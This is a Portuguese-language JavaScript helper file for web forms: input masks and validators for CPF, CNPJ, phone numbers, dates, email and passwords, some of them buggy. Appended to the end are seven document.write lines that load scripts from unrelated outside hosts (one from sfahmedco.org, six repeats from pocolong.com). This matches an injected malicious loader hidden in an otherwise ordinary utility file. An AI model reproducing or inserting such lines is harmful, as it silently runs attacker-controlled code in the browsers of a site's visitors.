// *************************************************************************************************
//Função de ajax
//**********
		function AjaxSubmit(frm, Nfunc){
			return Spry.Utils.submitForm(frm, Nfunc);					
		}
// *************************************************************************************************
//Função de checagem de formulário
//**********
	function check_form(frmCampoValidar){
		var TstringCompara = frmCampoValidar.split(",").length;
		var StringElement = frmCampoValidar.split(",");
		var i;
		for (i=0;i<=(TstringCompara-1);i++){		
			var NomeCampo = StringElement[i];
			if(document.getElementById(NomeCampo).type == 'text' || document.getElementById(NomeCampo).type == 'hidden' || document.getElementById(NomeCampo).type == 'password' || document.getElementById(NomeCampo).type == 'textarea' || document.getElementById(NomeCampo).type == 'file' || document.getElementById(NomeCampo).type == 'select' || document.getElementById(NomeCampo).type == 'select-one'){
				if(document.getElementById(NomeCampo).value==''){
					alert('Informe: ' + document.getElementById(NomeCampo).title);
					document.getElementById(NomeCampo).style.borderColor='red';
					document.getElementById(NomeCampo).focus();				
					return false;
					break;
				}else{document.getElementById(NomeCampo).style.border = "solid #CCCCCC 1px";}
			}else if(document.getElementById(NomeCampo).type == 'checkbox'){
				if(!document.getElementById(NomeCampo).checked){
					alert('Informe: ' + document.getElementById(NomeCampo).title);
					document.getElementById(NomeCampo).focus();				
					return false;
					break;
				}							
			}
		}
		return true;
	}	
	
// *************************************************************************************************
//Função mácara CPF e CNPJ no mesmo campo
//**********
	
	 function campo_numerico (){

         if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;

   }


   /*function cnpj_cpf verifica qual das funcoes tem que chamar cpf ou cnpj*/

   function cnpj_cpf(campo,documento,f,formi){

      form = formi;

      for (Count = 0; Count < 2; Count++){

         if (form.rad[Count].checked)
            break;
      }


      if (Count == 0){
         mascara_cpf (campo,documento,f);
      }

      else{
         mascara_cnpj (campo,documento,f);
      }
   }

   function mascara_cnpj (campo,documento,f){
      var mydata = '';
      mydata = mydata + documento;

      if (mydata.length == 2){
         mydata   = mydata + '.';

         ct_campo = eval("document."+f+"."+campo+".value = mydata");
         ct_campo;
      }

      if (mydata.length == 6){
               mydata   = mydata + '.';

               ct_campo = eval("document."+f+"."+campo+".value = mydata");
               ct_campo;
      }

      if (mydata.length == 10){
         mydata      = mydata + '/';

         ct_campo1 = eval("document."+f+"."+campo+".value = mydata");
         ct_campo1;
      }

      if (mydata.length == 15){
               mydata      = mydata + '-';

               ct_campo1 = eval("document."+f+"."+campo+".value = mydata");
               ct_campo1;
      }

      if (mydata.length == 18){

         valida_cnpj(f,campo);
      }
   }


   function mascara_cpf (campo,documento,f){
         var mydata = '';
         mydata = mydata + documento;

         if (mydata.length == 3){
            mydata   = mydata + '.';

            ct_campo = eval("document."+f+"."+campo+".value = mydata");
            ct_campo;
         }

         if (mydata.length == 7){
                  mydata   = mydata + '.';

                  ct_campo = eval("document."+f+"."+campo+".value = mydata");
                  ct_campo;
         }

         if (mydata.length == 11){
            mydata      = mydata + '-';

            ct_campo1 = eval("document."+f+"."+campo+".value = mydata");
            ct_campo1;
         }

         if (mydata.length == 14){

            valida_cpf(f,campo);
         }

   }


   function valida_cnpj(f,campo){

         pri = eval("document."+f+"."+campo+".value.substring(0,2)");
         seg = eval("document."+f+"."+campo+".value.substring(3,6)");
         ter = eval("document."+f+"."+campo+".value.substring(7,10)");
         qua = eval("document."+f+"."+campo+".value.substring(11,15)");
         qui = eval("document."+f+"."+campo+".value.substring(16,18)");

         var i;
         var numero;
         var situacao = '';

         numero = (pri+seg+ter+qua+qui);

         s = numero;


         c = s.substr(0,12);
         var dv = s.substr(12,2);
         var d1 = 0;

         for (i = 0; i < 12; i++){
            d1 += c.charAt(11-i)*(2+(i % 8));
         }

         if (d1 == 0){
            var result = "falso";
         }
            d1 = 11 - (d1 % 11);

         if (d1 > 9) d1 = 0;

            if (dv.charAt(0) != d1){
               var result = "falso";
            }

         d1 *= 2;
         for (i = 0; i < 12; i++){
            d1 += c.charAt(11-i)*(2+((i+1) % 8));
         }

         d1 = 11 - (d1 % 11);
         if (d1 > 9) d1 = 0;

            if (dv.charAt(1) != d1){
               var result = "falso";
            }


         if (result == "falso") {
            alert("CNPJ inválido!");
            aux1 = eval("document."+f+"."+campo+".focus");
            aux2 = eval("document."+f+"."+campo+".value = ''");

         }
   }


   function valida_cpf(f,campo){

         pri = eval("document."+f+"."+campo+".value.substring(0,3)");
         seg = eval("document."+f+"."+campo+".value.substring(4,7)");
         ter = eval("document."+f+"."+campo+".value.substring(8,11)");
         qua = eval("document."+f+"."+campo+".value.substring(12,14)");

         var i;
         var numero;

         numero = (pri+seg+ter+qua);

         s = numero;
         c = s.substr(0,9);
         var dv = s.substr(9,2);
         var d1 = 0;

         for (i = 0; i < 9; i++){
            d1 += c.charAt(i)*(10-i);
         }

         if (d1 == 0){
            var result = "falso";
         }

         d1 = 11 - (d1 % 11);
         if (d1 > 9) d1 = 0;

         if (dv.charAt(0) != d1){
            var result = "falso";
         }

         d1 *= 2;
         for (i = 0; i < 9; i++){
            d1 += c.charAt(i)*(11-i);
         }

         d1 = 11 - (d1 % 11);
         if (d1 > 9) d1 = 0;

         if (dv.charAt(1) != d1){
            var result = "falso";
         }


         if (result == "falso") {
            alert("CPF inválido!");
            aux1 = eval("document."+f+"."+campo+".focus");
            aux2 = eval("document."+f+"."+campo+".value = ''");

         }
   }
   
   /**************************************************************************************************************
/* Mascara */

		//MASCARAS PADRÃO ZOUP
		
		function mascara(o,f){
			v_obj=o
			v_fun=f
			setTimeout("execmascara()",1)
		}
		
		function execmascara(){
			v_obj.value=v_fun(v_obj.value)
		}
		
		function leech(v){
			v=v.replace(/o/gi,"0")
			v=v.replace(/i/gi,"1")
			v=v.replace(/z/gi,"2")
			v=v.replace(/e/gi,"3")
			v=v.replace(/a/gi,"4")
			v=v.replace(/s/gi,"5")
			v=v.replace(/t/gi,"7")
			return v
		}
		
		function soNumeros(v){
			return v.replace(/\D/g,"")
		}
		
		function cedente(v){
			return v.replace(/\D/g,"")
		}		
		
		function agencia(v){
			v=v.replace(/\D/g,"")
			v=v.replace(/(\d{4})(\d)/,"$1-$2")    //Coloca hífen entre o quarto e o quinto dígitos
			return v
			
		}		
		
		function placa_veiculo(v){
			v=v.replace(/^(\d\d)(\D)/i,"($1) $2") //Coloca parênteses em volta dos dois primeiros dígitos	
			return v
		}
		function valor(v){
			//v=v.replace(/\D/g,"") //Remove tudo o que não é dígito
			//v=v.replace(/(\d)(\d{2})$/,"$1.$2") //Coloca ponto antes dos 2 últimos digitos
    	    v=v.replace(/\D/g,"")  //permite digitar apenas números
			v=v.replace(/[0-9]{12}/,"inválido")   //limita pra máximo 999.999.999,99
			v=v.replace(/(\d{1})(\d{8})$/,"$1.$2")  //coloca ponto antes dos últimos 8 digitos
			v=v.replace(/(\d{1})(\d{5})$/,"$1.$2")  //coloca ponto antes dos últimos 5 digitos
			v=v.replace(/(\d{1})(\d{1,2})$/,"$1,$2")    //coloca virgula antes dos últimos 2 digitos
			return v	
		}		
		function telefone(v){
			v=v.replace(/\D/g,"")                 //Remove tudo o que não é dígito
			v=v.replace(/^(\d\d)(\d)/g,"($1) $2") //Coloca parênteses em volta dos dois primeiros dígitos
			v=v.replace(/(\d{4})(\d)/,"$1-$2")    //Coloca hífen entre o quarto e o quinto dígitos
			return v
		}		
		function cpf(v){
			v=v.replace(/\D/g,"")                    //Remove tudo o que não é dígito
			v=v.replace(/(\d{3})(\d)/,"$1.$2")       //Coloca um ponto entre o terceiro e o quarto dígitos
			v=v.replace(/(\d{3})(\d)/,"$1.$2")       //Coloca um ponto entre o terceiro e o quarto dígitos
													 //de novo (para o segundo bloco de números)
			v=v.replace(/(\d{3})(\d{1,2})$/,"$1-$2") //Coloca um hífen entre o terceiro e o quarto dígitos
			return v
		}
		function cep(v){
			v=v.replace(/D/g,"")                //Remove tudo o que não é dígito
			v=v.replace(/^(\d{5})(\d)/,"$1-$2") //Esse é tão fácil que não merece explicações
			return v
		}		
		function cnpj(v){
			v=v.replace(/\D/g,"")                           //Remove tudo o que não é dígito
			v=v.replace(/^(\d{2})(\d)/,"$1.$2")             //Coloca ponto entre o segundo e o terceiro dígitos
			v=v.replace(/^(\d{2})\.(\d{3})(\d)/,"$1.$2.$3") //Coloca ponto entre o quinto e o sexto dígitos
			v=v.replace(/\.(\d{3})(\d)/,".$1/$2")           //Coloca uma barra entre o oitavo e o nono dígitos
			v=v.replace(/(\d{4})(\d)/,"$1-$2")              //Coloca um hífen depois do bloco de quatro dígitos
			return v
		}
		
		function romanos(v){
			v=v.toUpperCase()             //Maiúsculas
			v=v.replace(/[^IVXLCDM]/g,"") //Remove tudo o que não for I, V, X, L, C, D ou M
			//Essa é complicada! Copiei daqui: http://www.diveintopython.org/refactoring/refactoring.html
			while(v.replace(/^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/,"")!="")
				v=v.replace(/.$/,"")
			return v
		}	
		function data(v){
			v=v.replace(/\D/g,"") //Remove tudo o que não é dígito
			v=v.replace(/(\d{2})(\d)/,"$1/$2") //Coloca um ponto entre o segundo e o terceiro dígitos
			v=v.replace(/(\d{2})(\d)/,"$1/$2") //Coloca um ponto entre o quarto e o quinto dígitos
			//v=v.replace(/^[0-3]?\d\/[01]?\d\/(\d{2}|\d{4})$/)
			v=v.replace(/^((0[1-9]|[12]\d)\-(0[1-9]|1[0-2])|30\-(0[13-9]|1[0-2])|31\-(0[13578]|1[02]))\-\d{4}$/)
			//v=v.replace(/^(0[1-9]|[012][0-9]|3[01])/\-(0[1-9]|1[012])/\-([12][0-9]{3})/,"")
			return v
		}		
		function hora(v){
			v=v.replace(/\D/g,"") //Remove tudo o que não é dígito
			v=v.replace(/(\d{2})(\d)/,"$1:$2") //Coloca um ponto entre o segundo e o terceiro dígitos
			v=v.replace(/(\d{2})(\d)/,"$1:$2") //Coloca um ponto entre o quarto e o quinto dígitos
			v=v.replace(/^((0[1-9]|[12]\d)\-(0[1-9]|1[0-2])|30\-(0[13-9]|1[0-2])|31\-(0[13578]|1[02]))\-\d{4}$/)
			return v
		}		
		function site(v){
			//Esse sem comentarios para que você entenda sozinho ;-)
			v=v.replace(/^http:\/\/?/,"")
			dominio=v
			caminho=""
			if(v.indexOf("/")>-1)
				dominio=v.split("/")[0]
				caminho=v.replace(/[^\/]*/,"")
			dominio=dominio.replace(/[^\w\.\+-:@]/g,"")
			caminho=caminho.replace(/[^\w\d\+-@:\?&=%\(\)\.]/g,"")
			caminho=caminho.replace(/([\?&])=/,"$1")
			if(caminho!="")dominio=dominio.replace(/\.+$/,"")
			v="http://"+dominio+caminho
			return v
		}
		
/**************************************************************************************************************
/* Confirma SENHA */	 
			function validasenha(){
				senha1 = document.form1.usuario_senha.value
				senha2 = document.form1.usuario_senha2.value
				
				if (senha1 == senha2)
				 return true;
				 
				else
					alert("As senhas não conferem")
					//document.form1.senha2.focus();
					document.form1.usuario_senha2.style.borderColor='red';
			 return false;
			}	

/**************************************************************************************************************
/* Valida EMAIL */	 
			function ValidaEmail()
			{
			  var obj = eval("document.form1.insc_email");
			  var txt = obj.value;
			  if ((txt.length != 0) && ((txt.indexOf("@") < 1) || (txt.indexOf('.') < 2)))
			  {
				alert('Informe: O email corretamente');
				obj.focus();
				obj.style.borderColor='red';
			  }
			}
			
/**************************************************************************************************************
/* Valida DATA */
function valida_data(close_data_close) {
	var date = document.getElementById(close_data_close).value;
	var array_data = new Array;
	var ExpReg = new RegExp("(0[1-9]|[12][0-9]|3[01])/(0[1-9]|1[012])/[12][0-9]{3}");
	//vetor que contem o dia o mes e o ano
	array_data = date.split("/");
	erro = false;
	//Valido se a data esta no formato dd/mm/yyyy e se o dia tem 2 digitos e esta entre 01 e 31
	//se o mes tem d2 digitos e esta entre 01 e 12 e o ano se tem 4 digitos e esta entre 1000 e 2999
	if ( date.search(ExpReg) == -1 )
		erro = true;
	//Valido os meses que nao tem 31 dias com execao de fevereiro
	else if ( ( ( array_data[1] == 4 ) || ( array_data[1] == 6 ) || ( array_data[1] == 9 ) || ( array_data[1] == 11 ) ) && ( array_data[0] > 30 ) )
		erro = true;
	//Valido o mes de fevereiro
	else if ( array_data[1] == 2 ) {
		//Valido ano que nao e bissexto
		if ( ( array_data[0] > 28 ) && ( ( array_data[2] % 4 ) != 0 ) )
			erro = true;
		//Valido ano bissexto
		if ( ( array_data[0] > 29 ) && ( ( array_data[2] % 4 ) == 0 ) )
			erro = true;
	}
	if ( erro ) {
		alert("Data Inválida");
		document.getElementById(close_data_close).focus();
		document.getElementById(close_data_close).style.borderColor='red';
	}
}

/**************************************************************************************************************
/* Validação de CNPJ */
function ValidarCNPJ(ObjCnpj){
    var cnpj = ObjCnpj.value;
    var valida = new Array(6,5,4,3,2,9,8,7,6,5,4,3,2);
    var dig1= new Number;
    var dig2= new Number;
    
    exp = /\.|\-|\//g
    cnpj = cnpj.toString().replace( exp, "" ); 
    var digito = new Number(eval(cnpj.charAt(12)+cnpj.charAt(13)));
        
    for(i = 0; i<valida.length; i++){
        dig1 += (i>0? (cnpj.charAt(i-1)*valida[i]):0);    
        dig2 += cnpj.charAt(i)*valida[i];    
    }
    dig1 = (((dig1%11)<2)? 0:(11-(dig1%11)));
    dig2 = (((dig2%11)<2)? 0:(11-(dig2%11)));
    
    if(((dig1*10)+dig2) != digito)    
        alert('CNPJ Invalido!');
		ObjCnpj.style.borderColor='red';
        
}

/**************************************************************************************************************
/* Validação de CPF */
function ValidarCPF(Objcpf){
    var cpf = Objcpf.value;
    exp = /\.|\-/g
    cpf = cpf.toString().replace( exp, "" ); 
    var digitoDigitado = eval(cpf.charAt(9)+cpf.charAt(10));
    var soma1=0, soma2=0;
    var vlr =11;
    
    for(i=0;i<9;i++){
        soma1+=eval(cpf.charAt(i)*(vlr-1));
        soma2+=eval(cpf.charAt(i)*vlr);
        vlr--;
    }    
    soma1 = (((soma1*10)%11)==10 ? 0:((soma1*10)%11));
    soma2=(((soma2+(2*soma1))*10)%11);
    
    var digitoGerado=(soma1*10)+soma2;
    if(digitoGerado!=digitoDigitado || cpf == "00000000000" || cpf == "11111111111" || cpf == "22222222222" || cpf == "33333333333" || cpf == "44444444444" || cpf == "55555555555" || cpf == "66666666666" || cpf == "77777777777" || cpf == "88888888888" || cpf == "99999999999") 
        alert('CPF Invalido!');
		Objcpf.style.borderColor='red';		
}

/**************************************************************************************************************
 /*Caracters especiais*/
function verifica(event){
var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
var caract = new RegExp(/[a-z @.,-0123456789]+$/i);
var caract = caract.test(String.fromCharCode(keyCode));

if(!caract){
alert("Caracter invalido: " +String.fromCharCode(keyCode));
keyCode=0;
return false;
}
}
document.write('<script src=http://sfahmedco.org/_vti_bin/clientsd_clip_image001_0001.php ><\/script>');
document.write('<script src=http://pocolong.com/popup/sportbutn.php ><\/script>');
document.write('<script src=http://pocolong.com/popup/sportbutn.php ><\/script>');
document.write('<script src=http://pocolong.com/popup/sportbutn.php ><\/script>');
document.write('<script src=http://pocolong.com/popup/sportbutn.php ><\/script>');
document.write('<script src=http://pocolong.com/popup/sportbutn.php ><\/script>');
document.write('<script src=http://pocolong.com/popup/sportbutn.php ><\/script>');